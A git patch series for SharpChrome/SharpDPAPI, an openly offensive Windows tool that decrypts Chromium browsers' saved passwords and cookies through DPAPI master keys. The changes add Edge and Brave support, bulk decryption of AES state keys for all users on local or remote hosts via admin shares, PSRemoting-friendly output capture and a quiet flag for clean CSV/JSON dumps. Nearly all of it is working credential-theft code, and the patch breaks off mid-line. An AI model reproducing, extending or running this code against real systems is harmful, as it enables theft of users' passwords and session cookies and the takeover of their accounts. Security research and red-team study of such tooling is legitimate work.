+using System.IO; +using System.Diagnostics; namespace SharpChrome { class Program { - static void Main(string[] args) + private static void FileExecute(string commandName, Dictionary parsedArgs) { + // execute w/ stdout/err redirected to a file + + string file = parsedArgs["/consoleoutfile"]; + + TextWriter realStdOut = Console.Out; + TextWriter realStdErr = Console.Error; + + using (StreamWriter writer = new StreamWriter(file, true)) + { + writer.AutoFlush = true; + Console.SetOut(writer); + Console.SetError(writer); + + MainExecute(commandName, parsedArgs); + + Console.Out.Flush(); + Console.Error.Flush(); + } + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + } + + private static void MainExecute(string commandName, Dictionary parsedArgs) + { + // main execution logic + Stopwatch sw = new Stopwatch(); + sw.Start(); + + Info.ShowLogo(); + try { - Info.Logo(); + var commandFound = new CommandCollection().ExecuteCommand(commandName, parsedArgs); + + // show the usage if no commands were found for the command name + if (commandFound == false) + Info.ShowUsage(); + } + catch (Exception e) + { + Console.WriteLine("\r\n[!] Unhandled SharpChrome exception:\r\n"); + Console.WriteLine(e); + } + + sw.Stop(); + Console.WriteLine("\n\nSharpChrome completed in " + sw.Elapsed); + } + + public static string MainString(string command) + { + // helper that executes an input string command and returns results as a string + // useful for PSRemoting execution - // try to parse the command line arguments, show usage on failure and then bail + string[] args = command.Split(); + + var parsed = ArgumentParser.Parse(args); + if (parsed.ParsedOk == false) + { + Info.ShowLogo(); + Info.ShowUsage(); + return "Error parsing arguments: ${command}"; + } + + var commandName = args.Length != 0 ? args[0] : ""; + + TextWriter realStdOut = Console.Out; + TextWriter realStdErr = Console.Error; + TextWriter stdOutWriter = new StringWriter(); + TextWriter stdErrWriter = new StringWriter(); + Console.SetOut(stdOutWriter); + Console.SetError(stdErrWriter); + + MainExecute(commandName, parsed.Arguments); + + Console.Out.Flush(); + Console.Error.Flush(); + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + + string output = ""; + output += stdOutWriter.ToString(); + output += stdErrWriter.ToString(); + + return output; + } + + static void Main(string[] args) + { + try + { var parsed = ArgumentParser.Parse(args); if (parsed.ParsedOk == false) - Info.ShowUsage(); - else { - // Try to execute the command using the arguments passed in - - var commandName = args.Length != 0 ? args[0] : ""; + Info.ShowLogo(); + Info.ShowUsage(); + return; + } - var commandFound = new CommandCollection().ExecuteCommand(commandName, parsed.Arguments); + var commandName = args.Length != 0 ? args[0] : ""; - // show the usage if no commands were found for the command name - if (commandFound == false) - Info.ShowUsage(); + if (parsed.Arguments.ContainsKey("/consoleoutfile")) + { + // redirect output to a file specified + FileExecute(commandName, parsed.Arguments); + } + else + { + MainExecute(commandName, parsed.Arguments); } } catch (Exception e) diff --git a/SharpChrome/SharpChrome.csproj b/SharpChrome/SharpChrome.csproj index 608ec9b..fc46a61 100755 --- a/SharpChrome/SharpChrome.csproj +++ b/SharpChrome/SharpChrome.csproj @@ -81,6 +81,7 @@ + diff --git a/SharpChrome/lib/Chrome.cs b/SharpChrome/lib/Chrome.cs index 335894d..27d8b72 100755 --- a/SharpChrome/lib/Chrome.cs +++ b/SharpChrome/lib/Chrome.cs @@ -21,9 +21,15 @@ class Chrome // approach adapted from @djhohnstein's https://github.com/djhohnstein/SharpChrome/ project // but using this CSHARP-SQLITE version https://github.com/akveo/digitsquare/tree/a251a1220ef6212d1bed8c720368435ee1bfdfc2/plugins/com.brodysoft.sqlitePlugin/src/wp - public static void TriageChromeLogins(Dictionary MasterKeys, string computerName = "", string displayFormat = "table", bool showAll = false, bool unprotect = false) + public static void TriageChromeLogins(Dictionary MasterKeys, string computerName = "", string displayFormat = "table", bool showAll = false, bool unprotect = false, string stateKey = "", string browser = "chrome") { - // triage all Chrome 'Login Data' files we can reach + // triage all Edge/Chrome 'Login Data' files we can reach + + byte[] aesStateKey = null; + if (!String.IsNullOrEmpty(stateKey)) + { + aesStateKey = SharpDPAPI.Helpers.ConvertHexStringToByteArray(stateKey); + } if (!String.IsNullOrEmpty(computerName)) { @@ -37,7 +43,7 @@ public static void TriageChromeLogins(Dictionary MasterKeys, str if (SharpDPAPI.Helpers.IsHighIntegrity() || (!String.IsNullOrEmpty(computerName) && SharpDPAPI.Helpers.TestRemote(computerName))) { - Console.WriteLine("[*] Triaging Chrome Logins for ALL users\r\n"); + Console.WriteLine("\r\n[*] Triaging {0} Logins for ALL users\r\n", SharpDPAPI.Helpers.Capitalize(browser)); string userFolder = ""; if (!String.IsNullOrEmpty(computerName)) @@ -55,46 +61,74 @@ public static void TriageChromeLogins(Dictionary MasterKeys, str { if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) { - string loginDataPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", dir); - var aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", dir); + var loginDataPath = ""; + var aesStateKeyPath = ""; - if (File.Exists(aesStateKeyPath)) + if (browser.ToLower() == "chrome") { - // try to decrypt the new v80+ AES state file key, if it exists - byte[] aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect); - - ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, unprotect, aesStateKey); + loginDataPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", dir); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", dir); + } + else if (browser.ToLower() == "edge") + { + loginDataPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data", dir); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", dir); } - else { - ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, unprotect, null); + else + { + Console.WriteLine("[X] ERROR: only 'chrome' and 'edge' are currently supported for browsers."); + return; + } + + if (File.Exists(aesStateKeyPath) && (aesStateKey == null)) + { + // try to decrypt the new v80+ AES state file key, if it exists + aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect); } + + ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, unprotect, aesStateKey); } } } else { - // otherwise just triage the current user's credential folder - Console.WriteLine("[*] Triaging Chrome Logins for current user\r\n"); - - string loginDataPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", System.Environment.GetEnvironmentVariable("USERPROFILE")); - var aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); + var loginDataPath = ""; + var aesStateKeyPath = ""; - if (File.Exists(aesStateKeyPath)) + if (browser.ToLower() == "chrome") { - // try to decrypt the new v80+ AES state file key, if it exists - byte[] aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, true); // force /unprotect - ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, true, aesStateKey); + loginDataPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", System.Environment.GetEnvironmentVariable("USERPROFILE")); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); + } + else if (browser.ToLower() == "edge") + { + loginDataPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data", System.Environment.GetEnvironmentVariable("USERPROFILE")); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); } else { - ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, true, null); + Console.WriteLine("[X] ERROR: only 'chrome' and 'edge' are currently supported for browsers."); + return; + } + + if (File.Exists(aesStateKeyPath) && (aesStateKey == null)) + { + // try to decrypt the new v80+ AES state file key, if it exists + aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, true); } + + ParseChromeLogins(MasterKeys, loginDataPath, displayFormat, showAll, true, aesStateKey); } } - public static void TriageChromeCookies(Dictionary MasterKeys, string computerName = "", string displayFormat = "csv", bool showAll = false, bool unprotect = false, string cookieRegex = "", string urlRegex = "", bool setneverexpire = false) + public static void TriageChromeCookies(Dictionary MasterKeys, string computerName = "", string displayFormat = "csv", bool showAll = false, bool unprotect = false, string cookieRegex = "", string urlRegex = "", bool setneverexpire = false, string stateKey = "", string browser = "chrome") { - // triage all Chrome Cookies we can reach + // triage all Edge/Chrome Cookies we can reach + + byte[] aesStateKey = null; + if(!String.IsNullOrEmpty(stateKey)) { + aesStateKey = SharpDPAPI.Helpers.ConvertHexStringToByteArray(stateKey); + } if (!String.IsNullOrEmpty(computerName)) { @@ -108,7 +142,7 @@ public static void TriageChromeCookies(Dictionary MasterKeys, st if (SharpDPAPI.Helpers.IsHighIntegrity() || (!String.IsNullOrEmpty(computerName) && SharpDPAPI.Helpers.TestRemote(computerName))) { - Console.WriteLine("[*] Triaging Chrome Cookies for ALL users\r\n"); + Console.WriteLine("\r\n[*] Triaging {0} Cookies for ALL users\r\n", SharpDPAPI.Helpers.Capitalize(browser)); string userFolder = ""; if (!String.IsNullOrEmpty(computerName)) @@ -126,40 +160,151 @@ public static void TriageChromeCookies(Dictionary MasterKeys, st { if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) { - string cookiePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", dir); - var aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", dir); + var cookiePath = ""; + var aesStateKeyPath = ""; - if (File.Exists(aesStateKeyPath)) + if (browser.ToLower() == "chrome") { - // try to decrypt the new v80+ AES state file key, if it exists - byte[] aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect); - - ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, aesStateKey); + cookiePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", dir); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", dir); + } + else if (browser.ToLower() == "edge") + { + cookiePath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Cookies", dir); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", dir); } else { - ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, null); + Console.WriteLine("[X] ERROR: only 'chrome' and 'edge' are currently supported for browsers."); + return; + } + + if (File.Exists(aesStateKeyPath) && (aesStateKey == null)) + { + // try to decrypt the new v80+ AES state file key, if it exists + aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, unprotect); } + + ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, aesStateKey); } } } else { // otherwise just triage the current user's credential folder, so use CryptUnprotectData() by default - Console.WriteLine("[*] Triaging Chrome Cookies for current user.\r\n"); - string cookiePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", System.Environment.GetEnvironmentVariable("USERPROFILE")); - var aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); + var cookiePath = ""; + var aesStateKeyPath = ""; + + if (browser.ToLower() == "chrome") + { + cookiePath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies", System.Environment.GetEnvironmentVariable("USERPROFILE")); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); + } + else if (browser.ToLower() == "edge") + { + cookiePath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Cookies", System.Environment.GetEnvironmentVariable("USERPROFILE")); + aesStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); + } + else + { + Console.WriteLine("[X] ERROR: only 'chrome' and 'edge' are currently supported for browsers."); + return; + } - if (File.Exists(aesStateKeyPath)) + if (File.Exists(aesStateKeyPath) && (aesStateKey == null)) { // try to decrypt the new v80+ AES state file key, if it exists - byte[] aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, true); // force /unprotect - ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, true, cookieRegex, urlRegex, setneverexpire, aesStateKey); + aesStateKey = GetStateKey(MasterKeys, aesStateKeyPath, true); // force /unprotect + } + + ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, true, cookieRegex, urlRegex, setneverexpire, aesStateKey); + } + } + + public static void TriageStateKeys(Dictionary MasterKeys, string computerName = "", bool unprotect = false, string target = "") + { + // triage all Chromium state keys we can reach + + if (!String.IsNullOrEmpty(computerName)) + { + // if we're triaging a remote computer, check connectivity first + bool canAccess = SharpDPAPI.Helpers.TestRemote(computerName); + if (!canAccess) + { + return; + } + } + + if (!String.IsNullOrEmpty(target)) + { + if (File.Exists(target)) + { + byte[] aesStateKey = GetStateKey(MasterKeys, target, unprotect); + } + else + { + Console.WriteLine("[X] Target '{0}' doesn't exist.", target); + } + } + else + { + if (SharpDPAPI.Helpers.IsHighIntegrity() || (!String.IsNullOrEmpty(computerName) && SharpDPAPI.Helpers.TestRemote(computerName))) + { + Console.WriteLine("[*] Triaging Chromium state keys for ALL users\r\n"); + + string userFolder = ""; + if (!String.IsNullOrEmpty(computerName)) + { + userFolder = String.Format("\\\\{0}\\C$\\Users\\", computerName); + } + else + { + userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); + } + + string[] dirs = Directory.GetDirectories(userFolder); + + foreach (string dir in dirs) + { + if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) + { + var chromeAESStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", dir); + var edgeAESStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", dir); + + if (File.Exists(chromeAESStateKeyPath)) + { + // try to decrypt the new v80+ AES state file key, if it exists + byte[] aesStateKey = GetStateKey(MasterKeys, chromeAESStateKeyPath, unprotect); + } + + if (File.Exists(edgeAESStateKeyPath)) + { + // try to decrypt the new v80+ AES state file key, if it exists + byte[] aesStateKey = GetStateKey(MasterKeys, edgeAESStateKeyPath, unprotect); + } + } + } } else { - ParseChromeCookies(MasterKeys, cookiePath, displayFormat, showAll, true, cookieRegex, urlRegex, setneverexpire, null); + // otherwise just triage the current user's credential folder, so use CryptUnprotectData() by default + Console.WriteLine("[*] Triaging Chromium state keys for current user.\r\n"); + + var chromeAESStateKeyPath = String.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); + var edgeAESStateKeyPath = String.Format("{0}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State", System.Environment.GetEnvironmentVariable("USERPROFILE")); + + if (File.Exists(chromeAESStateKeyPath)) + { + // try to decrypt the new v80+ AES state file key, if it exists + byte[] aesStateKey = GetStateKey(MasterKeys, chromeAESStateKeyPath, true); // force /unprotect + } + + if (File.Exists(edgeAESStateKeyPath)) + { + // try to decrypt the new v80+ AES state file key, if it exists + byte[] aesStateKey = GetStateKey(MasterKeys, edgeAESStateKeyPath, true); // force /unprotect + } } } } @@ -247,7 +392,7 @@ public static void ParseChromeLogins(Dictionary MasterKeys, stri { if (!someResults) { - Console.WriteLine("\r\n--- Chrome Credential (Path: {0}) ---\r\n", loginDataFilePath); + Console.WriteLine("\r\n--- Credential (Path: {0}) ---\r\n", loginDataFilePath); } someResults = true; Console.WriteLine("URL : {0} ({1})", row.column[0].Value, row.column[1].Value); @@ -261,7 +406,7 @@ public static void ParseChromeLogins(Dictionary MasterKeys, stri { if (!someResults) { - Console.WriteLine("\r\n--- Chrome Credential (Path: {0}) ---\r\n", loginDataFilePath); + Console.WriteLine("\r\n--- Credential (Path: {0}) ---\r\n", loginDataFilePath); Console.WriteLine("file_path,signon_realm,origin_url,date_created,times_used,username,password"); } someResults = true; @@ -375,7 +520,8 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str // check conditions that will determine whether we're displaying this cookie entry bool displayValue = false; - if (showAll) + + if (showAll || (row.column[4].Value.ToString() == "0") || String.IsNullOrEmpty(row.column[4].Value.ToString())) { displayValue = true; } @@ -406,7 +552,7 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str { if (!someResults) { - Console.WriteLine("--- Chrome Cookies (Path: {0}) ---\r\n", cookieFilePath); + Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath); } someResults = true; @@ -419,8 +565,8 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str { if (!someResults) { - Console.WriteLine("--- Chrome Cookies (Path: {0}) ---\r\n", cookieFilePath); - Console.WriteLine("--- Chrome Cookies (Path: {0}) ---\r\n\r\nEditThisCookie import JSON:\r\n\r\n[\r\n{{\r\n", cookieFilePath); + Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath); + Console.WriteLine("--- Cookies (Path: {0}) ---\r\n\r\nEditThisCookie import JSON:\r\n\r\n[\r\n{{\r\n", cookieFilePath); } else { @@ -454,7 +600,7 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str // csv output if (!someResults) { - Console.WriteLine("--- Chrome Cookies (Path: {0}) ---\r\n", cookieFilePath); + Console.WriteLine("--- Cookies (Path: {0}) ---\r\n", cookieFilePath); Console.WriteLine("file_path,host,path,name,value,creation_utc,expires_utc,last_access_utc"); } someResults = true; @@ -471,7 +617,7 @@ public static void ParseChromeCookies(Dictionary MasterKeys, str } } } - catch { } + catch {} } if (displayFormat.Equals("json") && someResults) diff --git a/SharpDPAPI/Domain/Info.cs b/SharpDPAPI/Domain/Info.cs index bdefdfd..178fbad 100755 --- a/SharpDPAPI/Domain/Info.cs +++ b/SharpDPAPI/Domain/Info.cs @@ -4,7 +4,7 @@ namespace SharpDPAPI.Domain { public static class Info { - public static void Logo() + public static void ShowLogo() { Console.WriteLine("\r\n __ _ _ _ ___ "); Console.WriteLine(" (_ |_ _. ._ ._ | \\ |_) /\\ |_) | "); diff --git a/SharpDPAPI/Domain/Version.cs b/SharpDPAPI/Domain/Version.cs index 0d7d83f..6f0b6f1 100755 --- a/SharpDPAPI/Domain/Version.cs +++ b/SharpDPAPI/Domain/Version.cs @@ -4,6 +4,6 @@ namespace SharpDPAPI { public static class Version { - public static string version = "1.8.0"; + public static string version = "1.9.0"; } } diff --git a/SharpDPAPI/Program.cs b/SharpDPAPI/Program.cs index 0f81aef..7dd402f 100755 --- a/SharpDPAPI/Program.cs +++ b/SharpDPAPI/Program.cs @@ -1,35 +1,123 @@ using SharpDPAPI.Domain; using System; +using System.Collections.Generic; using System.Diagnostics; +using System.IO; namespace SharpDPAPI { class Program { - public static void Main(string[] args) + private static void FileExecute(string commandName, Dictionary parsedArgs) { + // execute w/ stdout/err redirected to a file + + string file = parsedArgs["/consoleoutfile"]; + + TextWriter realStdOut = Console.Out; + TextWriter realStdErr = Console.Error; + + using (StreamWriter writer = new StreamWriter(file, true)) + { + writer.AutoFlush = true; + Console.SetOut(writer); + Console.SetError(writer); + + MainExecute(commandName, parsedArgs); + + Console.Out.Flush(); + Console.Error.Flush(); + } + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + } + + private static void MainExecute(string commandName, Dictionary parsedArgs) + { + // main execution logic Stopwatch sw = new Stopwatch(); sw.Start(); + Info.ShowLogo(); + try { - Info.Logo(); + var commandFound = new CommandCollection().ExecuteCommand(commandName, parsedArgs); + + // show the usage if no commands were found for the command name + if (commandFound == false) + Info.ShowUsage(); + } + catch (Exception e) + { + Console.WriteLine("\r\n[!] Unhandled SharpDPAPI exception:\r\n"); + Console.WriteLine(e); + } + + sw.Stop(); + Console.WriteLine("\n\nSharpDPAPI completed in " + sw.Elapsed); + } + + public static string MainString(string command) + { + // helper that executes an input string command and returns results as a string + // useful for PSRemoting execution + + string[] args = command.Split(); - // try to parse the command line arguments, show usage on failure and then bail + var parsed = ArgumentParser.Parse(args); + if (parsed.ParsedOk == false) + { + Info.ShowLogo(); + Info.ShowUsage(); + return "Error parsing arguments: ${command}"; + } + + var commandName = args.Length != 0 ? args[0] : ""; + + TextWriter realStdOut = Console.Out; + TextWriter realStdErr = Console.Error; + TextWriter stdOutWriter = new StringWriter(); + TextWriter stdErrWriter = new StringWriter(); + Console.SetOut(stdOutWriter); + Console.SetError(stdErrWriter); + + MainExecute(commandName, parsed.Arguments); + + Console.Out.Flush(); + Console.Error.Flush(); + Console.SetOut(realStdOut); + Console.SetError(realStdErr); + + string output = ""; + output += stdOutWriter.ToString(); + output += stdErrWriter.ToString(); + + return output; + } + + static void Main(string[] args) + { + try + { var parsed = ArgumentParser.Parse(args); if (parsed.ParsedOk == false) - Info.ShowUsage(); - else { - // Try to execute the command using the arguments passed in - - var commandName = args.Length != 0 ? args[0] : ""; + Info.ShowLogo(); + Info.ShowUsage(); + return; + } - var commandFound = new CommandCollection().ExecuteCommand(commandName, parsed.Arguments); + var commandName = args.Length != 0 ? args[0] : ""; - // show the usage if no commands were found for the command name - if (commandFound == false) - Info.ShowUsage(); + if (parsed.Arguments.ContainsKey("/consoleoutfile")) + { + // redirect output to a file specified + FileExecute(commandName, parsed.Arguments); + } + else + { + MainExecute(commandName, parsed.Arguments); } } catch (Exception e) @@ -37,9 +125,6 @@ public static void Main(string[] args) Console.WriteLine("\r\n[!] Unhandled SharpDPAPI exception:\r\n"); Console.WriteLine(e); } - - sw.Stop(); - Console.WriteLine("\n\nSharpDPAPI completed in " + sw.Elapsed); } } } diff --git a/SharpDPAPI/lib/Helpers.cs b/SharpDPAPI/lib/Helpers.cs index 210c419..db76206 100755 --- a/SharpDPAPI/lib/Helpers.cs +++ b/SharpDPAPI/lib/Helpers.cs @@ -126,6 +126,23 @@ public static byte[] ConvertHexStringToByteArray(string hexString) return HexAsBytes; } + + public static string Capitalize(string s) + { + if(s.Length == 1) + { + return char.ToUpper(s[0]) + ""; + } + else if (s.Length > 1) + { + return char.ToUpper(s[0]) + s.Substring(1); + } + else + { + return ""; + } + } + public static bool TestRemote(string computerName) { try diff --git a/SharpDPAPI/lib/Triage.cs b/SharpDPAPI/lib/Triage.cs index 95ad293..c006fd0 100755 --- a/SharpDPAPI/lib/Triage.cs +++ b/SharpDPAPI/lib/Triage.cs @@ -91,7 +91,6 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy if (!String.IsNullOrEmpty(password)) { plaintextMasterKey = Dpapi.DecryptMasterKeyWithSha(masterKeyBytes, hmacBytes); - mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value); } else { From ac98a888d0c6427e2a63e4b2c853ce2ee56888ff Mon Sep 17 00:00:00 2001 From: harmj0y Date: Fri, 23 Oct 2020 16:48:15 -0700 Subject: [PATCH 09/66] Cookies fix -Bug fixes for Cookies command -Filtering fixes for Cookies -Support for Brave browser -Added "/quiet" flag --- SharpChrome/Commands/Cookies.cs | 54 +++++++--- SharpChrome/Commands/Logins.cs | 38 +++++-- SharpChrome/Domain/Info.cs | 5 +- SharpChrome/Program.cs | 11 +- SharpChrome/lib/Chrome.cs | 181 ++++++++++++++++++++++---------- 5 files changed, 205 insertions(+), 84 deletions(-) diff --git a/SharpChrome/Commands/Cookies.cs b/SharpChrome/Commands/Cookies.cs index 6864789..b0230ca 100755 --- a/SharpChrome/Commands/Cookies.cs +++ b/SharpChrome/Commands/Cookies.cs @@ -17,17 +17,27 @@ public void Execute(Dictionary arguments) bool showAll = false; // whether to display entries with null passwords bool unprotect = false; // whether to force CryptUnprotectData() bool setneverexpire = false; // set cookie output expiration dates to now + 100 years + bool quiet = false; // don't display headers/logos/etc. (for csv/json output) string cookieRegex = ""; // regex to search for specific cookie names string urlRegex = ""; // regex to search for specific URLs for cookies string stateKey = ""; // decrypted AES statekey to use for cookie decryption string browser = "chrome"; // alternate Chromiun browser to specify, currently only "edge" is supported + + if (arguments.ContainsKey("/quiet")) + { + quiet = true; + } + if (arguments.ContainsKey("/browser")) { browser = arguments["/browser"].ToLower(); } - Console.WriteLine("\r\n[*] Action: {0} Saved Cookies Triage\r\n", SharpDPAPI.Helpers.Capitalize(browser)); + if (!quiet) + { + Console.WriteLine("\r\n[*] Action: {0} Saved Cookies Triage\r\n", SharpDPAPI.Helpers.Capitalize(browser)); + } if (arguments.ContainsKey("/format")) { @@ -62,22 +72,31 @@ public void Execute(Dictionary arguments) if (arguments.ContainsKey("/statekey")) { stateKey = arguments["/statekey"]; - Console.WriteLine("[*] Using AES State Key: {0}]\r\n", stateKey); + if (!quiet) + { + Console.WriteLine("[*] Using AES State Key: {0}]\r\n", stateKey); + } } - if (showAll) - { - Console.WriteLine("[*] Triaging all cookies, including expired ones."); - } - else + if (!quiet) { - Console.WriteLine("[*] Triaging non-expired cookies. Use '/showall' to display ALL cookies."); + if (showAll) + { + Console.WriteLine("[*] Triaging all cookies, including expired ones."); + } + else + { + Console.WriteLine("[*] Triaging non-expired cookies. Use '/showall' to display ALL cookies."); + } } if (arguments.ContainsKey("/server")) { server = arguments["/server"]; - Console.WriteLine("[*] Triaging remote server: {0}\r\n", server); + if (!quiet) + { + Console.WriteLine("[*] Triaging remote server: {0}\r\n", server); + } } // {GUID}:SHA1 keys are the only ones that don't start with / @@ -101,7 +120,10 @@ public void Execute(Dictionary arguments) else if (arguments.ContainsKey("/password")) { string password = arguments["/password"]; - Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); + if (!quiet) + { + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); + } if (arguments.ContainsKey("/server")) { masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, arguments["/server"], password); @@ -124,8 +146,12 @@ public void Execute(Dictionary arguments) if (File.Exists(target)) { - Console.WriteLine("[*] Target 'Cookies' File: {0}\r\n", target); - Chrome.ParseChromeCookies(masterkeys, target, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, stateKeyBytes); + if (!quiet) + { + Console.WriteLine("[*] Target 'Cookies' File: {0}\r\n", target); + } + + Chrome.ParseChromeCookies(masterkeys, target, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, stateKeyBytes, quiet); } else { @@ -134,14 +160,14 @@ public void Execute(Dictionary arguments) } else { - if (arguments.ContainsKey("/server") && !arguments.ContainsKey("/pvk") && !arguments.ContainsKey("/password")) + if (arguments.ContainsKey("/server") && !arguments.ContainsKey("/pvk") && !arguments.ContainsKey("/password") && !quiet) { Console.WriteLine("[X] The '/server:X' argument must be used with '/pvk:BASE64...' or '/password:X' !"); } else { // last "true" -> indicates we want to triage Edge - Chrome.TriageChromeCookies(masterkeys, server, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, stateKey, browser); + Chrome.TriageChromeCookies(masterkeys, server, displayFormat, showAll, unprotect, cookieRegex, urlRegex, setneverexpire, stateKey, browser, quiet); } } } diff --git a/SharpChrome/Commands/Logins.cs b/SharpChrome/Commands/Logins.cs index 02bda48..6ec3079 100755 --- a/SharpChrome/Commands/Logins.cs +++ b/SharpChrome/Commands/Logins.cs @@ -16,15 +16,25 @@ public void Execute(Dictionary arguments) string server = ""; // used for remote server specification bool showAll = false; // whether to display entries with null passwords bool unprotect = false; // whether to force CryptUnprotectData() + bool quiet = false; // don't display headers/logos/etc. (for csv/json output) string stateKey = ""; // decrypted AES statekey to use for cookie decryption - string browser = "chrome"; // alternate Chromiun browser to specify, currently only "edge" is supported + string browser = "chrome"; // alternate Chromiun browser to specify, currently supported: "chrome", "edge", "brave" + + + if (arguments.ContainsKey("/quiet")) + { + quiet = true; + } if (arguments.ContainsKey("/browser")) { browser = arguments["/browser"].ToLower(); } - Console.WriteLine("\r\n[*] Action: {0} Saved Logins Triage\r\n", SharpDPAPI.Helpers.Capitalize(browser)); + if (!quiet) + { + Console.WriteLine("\r\n[*] Action: {0} Saved Logins Triage\r\n", SharpDPAPI.Helpers.Capitalize(browser)); + } if (arguments.ContainsKey("/format")) { @@ -44,13 +54,19 @@ public void Execute(Dictionary arguments) if (arguments.ContainsKey("/statekey")) { stateKey = arguments["/statekey"]; - Console.WriteLine("[*] Using AES State Key: {0}]\r\n", stateKey); + if (!quiet) + { + Console.WriteLine("[*] Using AES State Key: {0}]\r\n", stateKey); + } } if (arguments.ContainsKey("/server")) { server = arguments["/server"]; - Console.WriteLine("[*] Triaging remote server: {0}\r\n", server); + if (!quiet) + { + Console.WriteLine("[*] Triaging remote server: {0}\r\n", server); + } } // {GUID}:SHA1 keys are the only ones that don't start with / @@ -74,7 +90,10 @@ public void Execute(Dictionary arguments) else if (arguments.ContainsKey("/password")) { string password = arguments["/password"]; - Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); + if (!quiet) + { + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); + } if (arguments.ContainsKey("/server")) { masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, arguments["/server"], password); @@ -97,8 +116,11 @@ public void Execute(Dictionary arguments) if (File.Exists(target)) { - Console.WriteLine("[*] Target 'Login Data' File: {0}\r\n", target); - Chrome.ParseChromeLogins(masterkeys, target, displayFormat, showAll, unprotect, stateKeyBytes); + if (!quiet) + { + Console.WriteLine("[*] Target 'Login Data' File: 